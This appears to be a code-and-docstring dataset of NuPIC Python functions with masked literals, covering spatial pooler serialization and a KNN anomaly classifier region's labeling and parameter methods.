{"signature": "@classmethod<EOL><INDENT>def readFromProto(cls, proto):<DEDENT>", "body": "instance = cls(proto.columnCount, proto.inputWidth)<EOL>instance.spatialImp = proto.spatialImp<EOL>instance.learningMode = proto.learningMode<EOL>instance.inferenceMode = proto.inferenceMode<EOL>instance.anomalyMode = proto.anomalyMode<EOL>instance.topDownMode = proto.topDownMode<EOL>spatialImp = proto.spatialImp<EOL>instance._sfdr = getSPClass(spatialImp).read(proto.spatialPooler)<EOL>return instance<EOL>", "docstring": "Overrides :meth:`~nupic.bindings.regions.PyRegion.PyRegion.readFromProto`.\n\nRead state from proto object.\n\n:param proto: SPRegionProto capnproto object", "id": "f17623:c0:m15"}
{"signature": "def __getstate__(self):", "body": "state = self.__dict__.copy()<EOL>for ephemeralMemberName in self._getEphemeralMembersAll():<EOL><INDENT>state.pop(ephemeralMemberName, None)<EOL><DEDENT>return state<EOL>", "docstring": "Return serializable state.  This function will return a version of the\n__dict__ with all \"ephemeral\" members stripped out.  \"Ephemeral\" members\nare defined as those that do not need to be (nor should be) stored\nin any kind of persistent file (e.g., NuPIC network XML file.)", "id": "f17623:c0:m16"}
{"signature": "def __setstate__(self, state):", "body": "self.__dict__.update(state)<EOL>self._loaded = True<EOL>if not hasattr(self, \"<STR_LIT>\"):<EOL><INDENT>self.SpatialClass = self._sfdr.__class__<EOL><DEDENT>self._initializeEphemeralMembers()<EOL>self._allocateSpatialFDR(None)<EOL>", "docstring": "Set the state of ourself from a serialized state.", "id": "f17623:c0:m17"}
{"signature": "def _initEphemerals(self):", "body": "if hasattr(self, '<STR_LIT>') and self._sfdr:<EOL><INDENT>self._spatialPoolerOutput = numpy.zeros(self.columnCount,<EOL>dtype=GetNTAReal())<EOL><DEDENT>else:<EOL><INDENT>self._spatialPoolerOutput = None  <EOL><DEDENT>self._fpLogSPInput = None<EOL>self._fpLogSP = None<EOL>self._fpLogSPDense = None<EOL>self.logPathInput = \"<STR_LIT>\"<EOL>self.logPathOutput = \"<STR_LIT>\"<EOL>self.logPathOutputDense = \"<STR_LIT>\"<EOL>", "docstring": "Initialize all ephemerals used by derived classes.", "id": "f17623:c0:m18"}
{"signature": "def _getEphemeralMembers(self):", "body": "return ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>'<EOL>]<EOL>", "docstring": "Callback that returns a list of all \"ephemeral\" members (i.e., data members\nthat should not and/or cannot be pickled.)", "id": "f17623:c0:m19"}
{"signature": "def _getEphemeralMembersBase(self):", "body": "return [<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>]<EOL>", "docstring": "Returns list of all ephemeral members.", "id": "f17623:c0:m20"}
{"signature": "def _getEphemeralMembersAll(self):", "body": "return self._getEphemeralMembersBase() + self._getEphemeralMembers()<EOL>", "docstring": "Returns a concatenated list of both the standard base class\nephemeral members, as well as any additional ephemeral members\n(e.g., file handles, etc.).", "id": "f17623:c0:m21"}
{"signature": "def getParameterArrayCount(self, name, index):", "body": "p = self.getParameter(name)<EOL>if (not hasattr(p, '<STR_LIT>')):<EOL><INDENT>raise Exception(\"<STR_LIT>\" % name)<EOL><DEDENT>return len(p)<EOL>", "docstring": "Overrides :meth:`~nupic.bindings.regions.PyRegion.PyRegion.getParameterArrayCount`.\n\nTODO: as a temporary hack, getParameterArrayCount checks to see if there's a\nvariable, private or not, with that name. If so, it returns the value of the\nvariable.", "id": "f17623:c0:m25"}
{"signature": "def getParameterArray(self, name, index, a):", "body": "p = self.getParameter(name)<EOL>if (not hasattr(p, '<STR_LIT>')):<EOL><INDENT>raise Exception(\"<STR_LIT>\" % name)<EOL><DEDENT>if len(p) >  <NUM_LIT:0>:<EOL><INDENT>a[:] = p[:]<EOL><DEDENT>", "docstring": "Overrides :meth:`~nupic.bindings.regions.PyRegion.PyRegion.getParameterArray`.\n\nTODO: as a temporary hack, getParameterArray checks to see if there's a\nvariable, private or not, with that name. If so, it returns the value of the\nvariable.", "id": "f17623:c0:m26"}
{"signature": "@classmethod<EOL><INDENT>def getSpec(cls):<DEDENT>", "body": "ns = dict(<EOL>description=KNNAnomalyClassifierRegion.__doc__,<EOL>singleNodeOnly=True,<EOL>inputs=dict(<EOL>spBottomUpOut=dict(<EOL>description=\"\"\"<STR_LIT>\"\"\",<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:0>,<EOL>required=True,<EOL>regionLevel=False,<EOL>isDefaultInput=True,<EOL>requireSplitterMap=False),<EOL>tpTopDownOut=dict(<EOL>description=\"\"\"<STR_LIT>\"\"\",<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:0>,<EOL>required=True,<EOL>regionLevel=False,<EOL>isDefaultInput=True,<EOL>requireSplitterMap=False),<EOL>tpLrnActiveStateT=dict(<EOL>description=\"\"\"<STR_LIT>\"\"\",<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:0>,<EOL>required=True,<EOL>regionLevel=False,<EOL>isDefaultInput=True,<EOL>requireSplitterMap=False),<EOL>sequenceIdIn=dict(<EOL>description=\"<STR_LIT>\",<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:1>,<EOL>required=False,<EOL>regionLevel=True,<EOL>isDefaultInput=False,<EOL>requireSplitterMap=False),<EOL>),<EOL>outputs=dict(<EOL>),<EOL>parameters=dict(<EOL>trainRecords=dict(<EOL>description='<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:1>,<EOL>constraints='<STR_LIT>',<EOL>defaultValue=<NUM_LIT:0>,<EOL>accessMode='<STR_LIT>'),<EOL>anomalyThreshold=dict(<EOL>description='<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:1>,<EOL>constraints='<STR_LIT>',<EOL>defaultValue=<NUM_LIT:0>,<EOL>accessMode='<STR_LIT>'),<EOL>cacheSize=dict(<EOL>description='<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:1>,<EOL>constraints='<STR_LIT>',<EOL>defaultValue=<NUM_LIT:0>,<EOL>accessMode='<STR_LIT>'),<EOL>classificationVectorType=dict(<EOL>description=\"\"\"<STR_LIT>\"\"\",<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:1>,<EOL>constraints='<STR_LIT>',<EOL>defaultValue=<NUM_LIT:1>,<EOL>accessMode='<STR_LIT>'),<EOL>activeColumnCount=dict(<EOL>description=\"\"\"<STR_LIT>\"\"\",<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:1>,<EOL>constraints='<STR_LIT>',<EOL>defaultValue=<NUM_LIT>,<EOL>accessMode='<STR_LIT>'),<EOL>classificationMaxDist=dict(<EOL>description=\"\"\"<STR_LIT>\"\"\",<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:1>,<EOL>constraints='<STR_LIT>',<EOL>defaultValue=<NUM_LIT>,<EOL>accessMode='<STR_LIT>'<EOL>)<EOL>),<EOL>commands=dict(<EOL>getLabels=dict(description=<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"),<EOL>addLabel=dict(description=<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"),<EOL>removeLabels=dict(description=<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>)<EOL>)<EOL>ns['<STR_LIT>'].update(KNNClassifierRegion.getSpec()['<STR_LIT>'])<EOL>return ns<EOL>", "docstring": "Overrides :meth:`nupic.bindings.regions.PyRegion.PyRegion.getSpec`.", "id": "f17624:c0:m0"}
{"signature": "def getParameter(self, name, index=-<NUM_LIT:1>):", "body": "if name == \"<STR_LIT>\":<EOL><INDENT>return self.trainRecords<EOL><DEDENT>elif name == \"<STR_LIT>\":<EOL><INDENT>return self.anomalyThreshold<EOL><DEDENT>elif name == \"<STR_LIT>\":<EOL><INDENT>return self._activeColumnCount<EOL><DEDENT>elif name == \"<STR_LIT>\":<EOL><INDENT>return self._classificationMaxDist<EOL><DEDENT>else:<EOL><INDENT>return PyRegion.getParameter(self, name, index)<EOL><DEDENT>", "docstring": "Overrides :meth:`nupic.bindings.regions.PyRegion.PyRegion.getParameter`.", "id": "f17624:c0:m3"}
{"signature": "def setParameter(self, name, index, value):", "body": "if name == \"<STR_LIT>\":<EOL><INDENT>if not (isinstance(value, float) or isinstance(value, int)):<EOL><INDENT>raise HTMPredictionModelInvalidArgument(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (type(value)))<EOL><DEDENT>if len(self._recordsCache) > <NUM_LIT:0> and value < self._recordsCache[<NUM_LIT:0>].ROWID:<EOL><INDENT>raise HTMPredictionModelInvalidArgument(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (self._recordsCache[<NUM_LIT:0>].ROWID))<EOL><DEDENT>self.trainRecords = value<EOL>self._deleteRangeFromKNN(<NUM_LIT:0>, self._recordsCache[<NUM_LIT:0>].ROWID)<EOL>self._classifyStates()<EOL><DEDENT>elif name == \"<STR_LIT>\":<EOL><INDENT>if not (isinstance(value, float) or isinstance(value, int)):<EOL><INDENT>raise HTMPredictionModelInvalidArgument(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (type(value)))<EOL><DEDENT>self.anomalyThreshold = value<EOL>self._classifyStates()<EOL><DEDENT>elif name == \"<STR_LIT>\":<EOL><INDENT>if not (isinstance(value, float) or isinstance(value, int)):<EOL><INDENT>raise HTMPredictionModelInvalidArgument(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (type(value)))<EOL><DEDENT>self._classificationMaxDist = value<EOL>self._classifyStates()<EOL><DEDENT>elif name == \"<STR_LIT>\":<EOL><INDENT>self._activeColumnCount = value<EOL><DEDENT>else:<EOL><INDENT>return PyRegion.setParameter(self, name, index, value)<EOL><DEDENT>", "docstring": "Overrides :meth:`nupic.bindings.regions.PyRegion.PyRegion.setParameter`.", "id": "f17624:c0:m4"}
{"signature": "def compute(self, inputs, outputs):", "body": "record = self._constructClassificationRecord(inputs)<EOL>if record.ROWID >= self.getParameter('<STR_LIT>'):<EOL><INDENT>self._classifyState(record)<EOL><DEDENT>self._recordsCache.append(record)<EOL>while len(self._recordsCache) > self.cacheSize:<EOL><INDENT>self._recordsCache.pop(<NUM_LIT:0>)<EOL><DEDENT>self.labelResults = record.anomalyLabel<EOL>self._iteration += <NUM_LIT:1><EOL>", "docstring": "Process one input sample.\nThis method is called by the runtime engine.", "id": "f17624:c0:m5"}
{"signature": "def getLabelResults(self):", "body": "return self.labelResults<EOL>", "docstring": "Get the labels of the previously computed record.\n\n:returns: (list) of strings representing the classification labels", "id": "f17624:c0:m6"}
{"signature": "def _classifyStates(self):", "body": "for state in self._recordsCache:<EOL><INDENT>self._classifyState(state)<EOL><DEDENT>", "docstring": "Reclassifies all internal state", "id": "f17624:c0:m7"}
{"signature": "def _classifyState(self, state):", "body": "<EOL>if state.ROWID < self.getParameter('<STR_LIT>'):<EOL><INDENT>if not state.setByUser:<EOL><INDENT>state.anomalyLabel = []<EOL>self._deleteRecordsFromKNN([state])<EOL><DEDENT>return<EOL><DEDENT>label = KNNAnomalyClassifierRegion.AUTO_THRESHOLD_CLASSIFIED_LABEL<EOL>autoLabel = label + KNNAnomalyClassifierRegion.AUTO_TAG<EOL>newCategory = self._recomputeRecordFromKNN(state)<EOL>labelList = self._categoryToLabelList(newCategory)<EOL>if state.setByUser:<EOL><INDENT>if label in state.anomalyLabel:<EOL><INDENT>state.anomalyLabel.remove(label)<EOL><DEDENT>if autoLabel in state.anomalyLabel:<EOL><INDENT>state.anomalyLabel.remove(autoLabel)<EOL><DEDENT>labelList.extend(state.anomalyLabel)<EOL><DEDENT>if state.anomalyScore >= self.getParameter('<STR_LIT>'):<EOL><INDENT>labelList.append(label)<EOL><DEDENT>elif label in labelList:<EOL><INDENT>ind = labelList.index(label)<EOL>labelList[ind] = autoLabel<EOL><DEDENT>labelList = list(set(labelList))<EOL>if label in labelList and autoLabel in labelList:<EOL><INDENT>labelList.remove(autoLabel)<EOL><DEDENT>if state.anomalyLabel == labelList:<EOL><INDENT>return<EOL><DEDENT>state.anomalyLabel = labelList<EOL>if state.anomalyLabel == []:<EOL><INDENT>self._deleteRecordsFromKNN([state])<EOL><DEDENT>else:<EOL><INDENT>self._addRecordToKNN(state)<EOL><DEDENT>", "docstring": "Reclassifies given state.", "id": "f17624:c0:m8"}
{"signature": "def _constructClassificationRecord(self, inputs):", "body": "<EOL>allSPColumns = inputs[\"<STR_LIT>\"]<EOL>activeSPColumns = allSPColumns.nonzero()[<NUM_LIT:0>]<EOL>score = anomaly.computeRawAnomalyScore(activeSPColumns,<EOL>self._prevPredictedColumns)<EOL>spSize = len(allSPColumns)<EOL>allTPCells = inputs['<STR_LIT>']<EOL>tpSize = len(inputs['<STR_LIT>'])<EOL>classificationVector = numpy.array([])<EOL>if self.classificationVectorType == <NUM_LIT:1>:<EOL><INDENT>classificationVector = numpy.zeros(tpSize)<EOL>activeCellMatrix = inputs[\"<STR_LIT>\"].reshape(tpSize, <NUM_LIT:1>)<EOL>activeCellIdx = numpy.where(activeCellMatrix > <NUM_LIT:0>)[<NUM_LIT:0>]<EOL>if activeCellIdx.shape[<NUM_LIT:0>] > <NUM_LIT:0>:<EOL><INDENT>classificationVector[numpy.array(activeCellIdx, dtype=numpy.uint16)] = <NUM_LIT:1><EOL><DEDENT><DEDENT>elif self.classificationVectorType == <NUM_LIT:2>:<EOL><INDENT>classificationVector = numpy.zeros(spSize+spSize)<EOL>if activeSPColumns.shape[<NUM_LIT:0>] > <NUM_LIT:0>:<EOL><INDENT>classificationVector[activeSPColumns] = <NUM_LIT:1.0><EOL><DEDENT>errorColumns = numpy.setdiff1d(self._prevPredictedColumns,<EOL>activeSPColumns)<EOL>if errorColumns.shape[<NUM_LIT:0>] > <NUM_LIT:0>:<EOL><INDENT>errorColumnIndexes = ( numpy.array(errorColumns, dtype=numpy.uint16) +<EOL>spSize )<EOL>classificationVector[errorColumnIndexes] = <NUM_LIT:1.0><EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise TypeError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (self.classificationVectorType))<EOL><DEDENT>numPredictedCols = len(self._prevPredictedColumns)<EOL>predictedColumns = allTPCells.nonzero()[<NUM_LIT:0>]<EOL>self._prevPredictedColumns = copy.deepcopy(predictedColumns)<EOL>if self._anomalyVectorLength is None:<EOL><INDENT>self._anomalyVectorLength = len(classificationVector)<EOL><DEDENT>result = _CLAClassificationRecord(<EOL>ROWID=self._iteration, <EOL>anomalyScore=score,<EOL>anomalyVector=classificationVector.nonzero()[<NUM_LIT:0>].tolist(),<EOL>anomalyLabel=[]<EOL>)<EOL>return result<EOL>", "docstring": "Construct a _HTMClassificationRecord based on the state of the model\npassed in through the inputs.\n\nTypes for self.classificationVectorType:\n  1 - TM active cells in learn state\n  2 - SP columns concatenated with error from TM column predictions and SP", "id": "f17624:c0:m9"}
{"signature": "def _addRecordToKNN(self, record):", "body": "knn = self._knnclassifier._knn<EOL>prototype_idx = self._knnclassifier.getParameter('<STR_LIT>')<EOL>category = self._labelListToCategoryNumber(record.anomalyLabel)<EOL>if record.ROWID in prototype_idx:<EOL><INDENT>knn.prototypeSetCategory(record.ROWID, category)<EOL>return<EOL><DEDENT>pattern = self._getStateAnomalyVector(record)<EOL>rowID = record.ROWID<EOL>knn.learn(pattern, category, rowID=rowID)<EOL>", "docstring": "Adds the record to the KNN classifier.", "id": "f17624:c0:m10"}
{"signature": "def _deleteRecordsFromKNN(self, recordsToDelete):", "body": "prototype_idx = self._knnclassifier.getParameter('<STR_LIT>')<EOL>idsToDelete = ([r.ROWID for r in recordsToDelete if<EOL>not r.setByUser and r.ROWID in prototype_idx])<EOL>nProtos = self._knnclassifier._knn._numPatterns<EOL>self._knnclassifier._knn.removeIds(idsToDelete)<EOL>assert self._knnclassifier._knn._numPatterns == nProtos - len(idsToDelete)<EOL>", "docstring": "Removes the given records from the classifier.\n\nparameters\n------------\nrecordsToDelete - list of records to delete from the classififier", "id": "f17624:c0:m11"}
{"signature": "def _deleteRangeFromKNN(self, start=<NUM_LIT:0>, end=None):", "body": "prototype_idx = numpy.array(<EOL>self._knnclassifier.getParameter('<STR_LIT>'))<EOL>if end is None:<EOL><INDENT>end = prototype_idx.max() + <NUM_LIT:1><EOL><DEDENT>idsIdxToDelete = numpy.logical_and(prototype_idx >= start,<EOL>prototype_idx < end)<EOL>idsToDelete = prototype_idx[idsIdxToDelete]<EOL>nProtos = self._knnclassifier._knn._numPatterns<EOL>self._knnclassifier._knn.removeIds(idsToDelete.tolist())<EOL>assert self._knnclassifier._knn._numPatterns == nProtos - len(idsToDelete)<EOL>", "docstring": "Removes any stored records within the range from start to\nend. Noninclusive of end.\n\nparameters\n------------\nstart - integer representing the ROWID of the start of the deletion range,\nend - integer representing the ROWID of the end of the deletion range,\n  if None, it will default to end.", "id": "f17624:c0:m12"}
{"signature": "def _recomputeRecordFromKNN(self, record):", "body": "inputs = {<EOL>\"<STR_LIT>\": [None],<EOL>\"<STR_LIT>\": self._getStateAnomalyVector(record),<EOL>}<EOL>outputs = {\"<STR_LIT>\": numpy.zeros((<NUM_LIT:1>,)),<EOL>\"<STR_LIT>\":numpy.zeros((<NUM_LIT:1>,)),<EOL>\"<STR_LIT>\":numpy.zeros((<NUM_LIT:1>,))}<EOL>classifier_indexes = numpy.array(<EOL>self._knnclassifier.getParameter('<STR_LIT>'))<EOL>valid_idx = numpy.where(<EOL>(classifier_indexes >= self.getParameter('<STR_LIT>')) &<EOL>(classifier_indexes < record.ROWID)<EOL>)[<NUM_LIT:0>].tolist()<EOL>if len(valid_idx) == <NUM_LIT:0>:<EOL><INDENT>return None<EOL><DEDENT>self._knnclassifier.setParameter('<STR_LIT>', None, True)<EOL>self._knnclassifier.setParameter('<STR_LIT>', None, False)<EOL>self._knnclassifier.compute(inputs, outputs)<EOL>self._knnclassifier.setParameter('<STR_LIT>', None, True)<EOL>classifier_distances = self._knnclassifier.getLatestDistances()<EOL>valid_distances = classifier_distances[valid_idx]<EOL>if valid_distances.min() <= self._classificationMaxDist:<EOL><INDENT>classifier_indexes_prev = classifier_indexes[valid_idx]<EOL>rowID = classifier_indexes_prev[valid_distances.argmin()]<EOL>indexID = numpy.where(classifier_indexes == rowID)[<NUM_LIT:0>][<NUM_LIT:0>]<EOL>category = self._knnclassifier.getCategoryList()[indexID]<EOL>return category<EOL><DEDENT>return None<EOL>", "docstring": "returns the classified labeling of record", "id": "f17624:c0:m13"}
{"signature": "def _labelToCategoryNumber(self, label):", "body": "if label not in self.saved_categories:<EOL><INDENT>self.saved_categories.append(label)<EOL><DEDENT>return pow(<NUM_LIT:2>, self.saved_categories.index(label))<EOL>", "docstring": "Since the KNN Classifier stores categories as numbers, we must store each\nlabel as a number. This method converts from a label to a unique number.\nEach label is assigned a unique bit so multiple labels may be assigned to\na single record.", "id": "f17624:c0:m14"}
{"signature": "def _labelListToCategoryNumber(self, labelList):", "body": "categoryNumber = <NUM_LIT:0><EOL>for label in labelList:<EOL><INDENT>categoryNumber += self._labelToCategoryNumber(label)<EOL><DEDENT>return categoryNumber<EOL>", "docstring": "This method takes a list of labels and returns a unique category number.\nThis enables this class to store a list of categories for each point since\nthe KNN classifier only stores a single number category for each record.", "id": "f17624:c0:m15"}
{"signature": "def _categoryToLabelList(self, category):", "body": "if category is None:<EOL><INDENT>return []<EOL><DEDENT>labelList = []<EOL>labelNum = <NUM_LIT:0><EOL>while category > <NUM_LIT:0>:<EOL><INDENT>if category % <NUM_LIT:2> == <NUM_LIT:1>:<EOL><INDENT>labelList.append(self.saved_categories[labelNum])<EOL><DEDENT>labelNum += <NUM_LIT:1><EOL>category = category >> <NUM_LIT:1><EOL><DEDENT>return labelList<EOL>", "docstring": "Converts a category number into a list of labels", "id": "f17624:c0:m16"}
{"signature": "def _getStateAnomalyVector(self, state):", "body": "vector = numpy.zeros(self._anomalyVectorLength)<EOL>vector[state.anomalyVector] = <NUM_LIT:1><EOL>return vector<EOL>", "docstring": "Returns a state's anomaly vertor converting it from spare to dense", "id": "f17624:c0:m17"}
{"signature": "def getLabels(self, start=None, end=None):", "body": "if len(self._recordsCache) == <NUM_LIT:0>:<EOL><INDENT>return {<EOL>'<STR_LIT>': False,<EOL>'<STR_LIT>': []<EOL>}<EOL><DEDENT>try:<EOL><INDENT>start = int(start)<EOL><DEDENT>except Exception:<EOL><INDENT>start = <NUM_LIT:0><EOL><DEDENT>try:<EOL><INDENT>end = int(end)<EOL><DEDENT>except Exception:<EOL><INDENT>end = self._recordsCache[-<NUM_LIT:1>].ROWID<EOL><DEDENT>if end <= start:<EOL><INDENT>raise HTMPredictionModelInvalidRangeError(\"<STR_LIT>\",<EOL>debugInfo={<EOL>'<STR_LIT>': {<EOL>'<STR_LIT>': start,<EOL>'<STR_LIT>': end<EOL>},<EOL>'<STR_LIT>': len(self._recordsCache)<EOL>})<EOL><DEDENT>results = {<EOL>'<STR_LIT>': False,<EOL>'<STR_LIT>': []<EOL>}<EOL>ROWIDX = numpy.array(<EOL>self._knnclassifier.getParameter('<STR_LIT>'))<EOL>validIdx = numpy.where((ROWIDX >= start) & (ROWIDX < end))[<NUM_LIT:0>].tolist()<EOL>categories = self._knnclassifier.getCategoryList()<EOL>for idx in validIdx:<EOL><INDENT>row = dict(<EOL>ROWID=int(ROWIDX[idx]),<EOL>labels=self._categoryToLabelList(categories[idx]))<EOL>results['<STR_LIT>'].append(row)<EOL><DEDENT>return results<EOL>", "docstring": "Get the labels on classified points within range start to end. Not inclusive\nof end.\n\n:returns: (dict) with format:\n\n  ::\n\n    {\n      'isProcessing': boolean,\n      'recordLabels': list of results\n    }\n\n  ``isProcessing`` - currently always false as recalculation blocks; used if\n  reprocessing of records is still being performed;\n\n  Each item in ``recordLabels`` is of format:\n\n  ::\n\n    {\n      'ROWID': id of the row,\n      'labels': list of strings\n    }", "id": "f17624:c0:m18"}
{"signature": "def addLabel(self, start, end, labelName):", "body": "if len(self._recordsCache) == <NUM_LIT:0>:<EOL><INDENT>raise HTMPredictionModelInvalidRangeError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>try:<EOL><INDENT>start = int(start)<EOL><DEDENT>except Exception:<EOL><INDENT>start = <NUM_LIT:0><EOL><DEDENT>try:<EOL><INDENT>end = int(end)<EOL><DEDENT>except Exception:<EOL><INDENT>end = int(self._recordsCache[-<NUM_LIT:1>].ROWID)<EOL><DEDENT>startID = self._recordsCache[<NUM_LIT:0>].ROWID<EOL>clippedStart = max(<NUM_LIT:0>, start - startID)<EOL>clippedEnd = max(<NUM_LIT:0>, min( len( self._recordsCache) , end - startID))<EOL>if clippedEnd <= clippedStart:<EOL><INDENT>raise HTMPredictionModelInvalidRangeError(\"<STR_LIT>\",<EOL>debugInfo={<EOL>'<STR_LIT>': {<EOL>'<STR_LIT>': start,<EOL>'<STR_LIT>': end<EOL>},<EOL>'<STR_LIT>': {<EOL>'<STR_LIT>': clippedStart,<EOL>'<STR_LIT>': clippedEnd<EOL>},<EOL>'<STR_LIT>': {<EOL>'<STR_LIT>': startID,<EOL>'<STR_LIT>': self._recordsCache[len(self._recordsCache)-<NUM_LIT:1>].ROWID<EOL>},<EOL>'<STR_LIT>': len(self._recordsCache)<EOL>})<EOL><DEDENT>for state in self._recordsCache[clippedStart:clippedEnd]:<EOL><INDENT>if labelName not in state.anomalyLabel:<EOL><INDENT>state.anomalyLabel.append(labelName)<EOL>state.setByUser = True<EOL>self._addRecordToKNN(state)<EOL><DEDENT><DEDENT>assert len(self.saved_categories) > <NUM_LIT:0><EOL>for state in self._recordsCache[clippedEnd:]:<EOL><INDENT>self._classifyState(state)<EOL><DEDENT>", "docstring": "Add the label labelName to each record with record ROWID in range from\n``start`` to ``end``, noninclusive of end.\n\nThis will recalculate all points from end to the last record stored in the\ninternal cache of this classifier.\n\n:param start: (int) start index \n:param end: (int) end index (noninclusive)\n:param labelName: (string) label name", "id": "f17624:c0:m19"}
{"signature": "def removeLabels(self, start=None, end=None, labelFilter=None):", "body": "if len(self._recordsCache) == <NUM_LIT:0>:<EOL><INDENT>raise HTMPredictionModelInvalidRangeError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>try:<EOL><INDENT>start = int(start)<EOL><DEDENT>except Exception:<EOL><INDENT>start = <NUM_LIT:0><EOL><DEDENT>try:<EOL><INDENT>end = int(end)<EOL><DEDENT>except Exception:<EOL><INDENT>end = self._recordsCache[-<NUM_LIT:1>].ROWID<EOL><DEDENT>startID = self._recordsCache[<NUM_LIT:0>].ROWID<EOL>clippedStart = <NUM_LIT:0> if start is None else max(<NUM_LIT:0>, start - startID)<EOL>clippedEnd = len(self._recordsCache) if end is None elsemax(<NUM_LIT:0>, min( len( self._recordsCache) , end - startID))<EOL>if clippedEnd <= clippedStart:<EOL><INDENT>raise HTMPredictionModelInvalidRangeError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\", debugInfo={<EOL>'<STR_LIT>': {<EOL>'<STR_LIT>': start,<EOL>'<STR_LIT>': end<EOL>},<EOL>'<STR_LIT>': {<EOL>'<STR_LIT>': clippedStart,<EOL>'<STR_LIT>': clippedEnd<EOL>},<EOL>'<STR_LIT>': {<EOL>'<STR_LIT>': startID,<EOL>'<STR_LIT>': self._recordsCache[len(self._recordsCache)-<NUM_LIT:1>].ROWID<EOL>},<EOL>'<STR_LIT>': len(self._recordsCache)<EOL>})<EOL><DEDENT>recordsToDelete = []<EOL>for state in self._recordsCache[clippedStart:clippedEnd]:<EOL><INDENT>if labelFilter is not None:<EOL><INDENT>if labelFilter in state.anomalyLabel:<EOL><INDENT>state.anomalyLabel.remove(labelFilter)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>state.anomalyLabel = []<EOL><DEDENT>state.setByUser = False<EOL>recordsToDelete.append(state)<EOL><DEDENT>self._deleteRecordsFromKNN(recordsToDelete)<EOL>self._deleteRangeFromKNN(start, end)<EOL>for state in self._recordsCache[clippedEnd:]:<EOL><INDENT>self._classifyState(state)<EOL><DEDENT>", "docstring": "Remove labels from each record with record ROWID in range from\n``start`` to ``end``, noninclusive of end. Removes all records if \n``labelFilter`` is None, otherwise only removes the labels equal to \n``labelFilter``.\n\nThis will recalculate all points from end to the last record stored in the\ninternal cache of this classifier.\n\n:param start: (int) start index \n:param end: (int) end index (noninclusive)\n:param labelFilter: (string) label filter", "id": "f17624:c0:m20"}
{"signature": "def __getstate__(self):", "body": "state = self.__dict__.copy()<EOL>state['<STR_LIT>'] = state['<STR_LIT>'].__getstate__()<EOL>state.pop('<STR_LIT>')<EOL>return state<EOL>", "docstring": "Return serializable state.  This function will return a version of the\n__dict__ with all \"ephemeral\" members stripped out.  \"Ephemeral\" members\nare defined as those that do not need to be (nor should be) stored\nin any kind of persistent file (e.g., NuPIC network XML file.)", "id": "f17624:c0:m24"}
{"signature": "def __setstate__(self, state):", "body": "if '<STR_LIT>' not in state or state['<STR_LIT>'] == <NUM_LIT:1>:<EOL><INDENT>knnclassifierProps = state.pop('<STR_LIT>')<EOL>self.__dict__.update(state)<EOL>self._knnclassifier = KNNClassifierRegion(**self._knnclassifierArgs)<EOL>self._knnclassifier.__setstate__(knnclassifierProps)<EOL>self._version = KNNAnomalyClassifierRegion.__VERSION__<EOL><DEDENT>else:<EOL><INDENT>raise Exception(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (KNNAnomalyClassifierRegion.__VERSION__))<EOL><DEDENT>", "docstring": "Set the state of ourself from a serialized state.", "id": "f17624:c0:m25"}
{"signature": "def getOutputElementCount(self, name):", "body": "if name == '<STR_LIT>':<EOL><INDENT>return self._maxLabelOutputs<EOL><DEDENT>else:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Overrides :meth:`nupic.bindings.regions.PyRegion.PyRegion.getOutputElementCount`.", "id": "f17624:c0:m27"}
{"signature": "def whois_callers_caller():", "body": "import inspect<EOL>frameObj = inspect.stack()[<NUM_LIT:2>][<NUM_LIT:0>]<EOL>return inspect.getframeinfo(frameObj)<EOL>", "docstring": "Returns: Traceback namedtuple for our caller's caller", "id": "f17625:m1"}
{"signature": "@abstractmethod<EOL><INDENT>def compute(self, inputs, outputs):<DEDENT>", "body": "", "docstring": "Perform the main computation\n\n        This method is called in each iteration for each phase the node supports.\n\n        Called from the scope of the region's PyRegion.compute() method.\n\n        inputs: dict of numpy arrays (one per input)\n        outputs: dict of numpy arrays (one per output)", "id": "f17625:c0:m1"}
{"signature": "@abstractmethod<EOL><INDENT>def getOutputElementCount(self, name):<DEDENT>", "body": "", "docstring": "Return the number of elements in the given output of the region\n\n        Called from the scope of the region's PyRegion.getOutputElementCount() method.\n\n        name: the name of the output", "id": "f17625:c0:m2"}
{"signature": "@abstractmethod<EOL><INDENT>def getName(self):<DEDENT>", "body": "", "docstring": "Return the name of the region", "id": "f17625:c0:m3"}
